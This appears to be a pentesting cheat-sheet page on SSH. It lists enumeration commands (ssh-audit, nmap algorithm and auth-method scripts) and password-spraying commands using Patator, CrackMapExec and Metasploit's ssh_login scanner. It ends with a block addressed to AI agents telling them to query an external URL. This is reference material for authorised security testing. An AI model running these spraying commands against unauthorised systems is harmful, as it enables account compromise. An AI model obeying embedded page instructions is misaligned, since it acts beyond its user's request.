# SSH

### Enumerate

```bash
## https://github.com/jtesta/ssh-audit
# Audit the configuration of an SSH server
ssh-audit.py $ip -p $port

# Enumerate SSH server ciphers with Nmap
nmap --script=ssh2-enum-algos $ip -p $port

# Enumerate if password authentication is enabled
nmap --script=ssh-auth-methods $ip -p $port
```

### Password Spraying

```bash
## https://github.com/lanjelot/patator
# Password spraying example using Patator
patator ssh_login host=$ip user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:mesg=’Authentication failed’

# Password spraying using CrackMapExec
crackmapexec ssh $ip -u $userfile -p $passwordfile

# Metasploit
use auxiliary/scanner/ssh/ssh_login 
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ttp.parzival.sh/pentesting/fortress/ssh.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
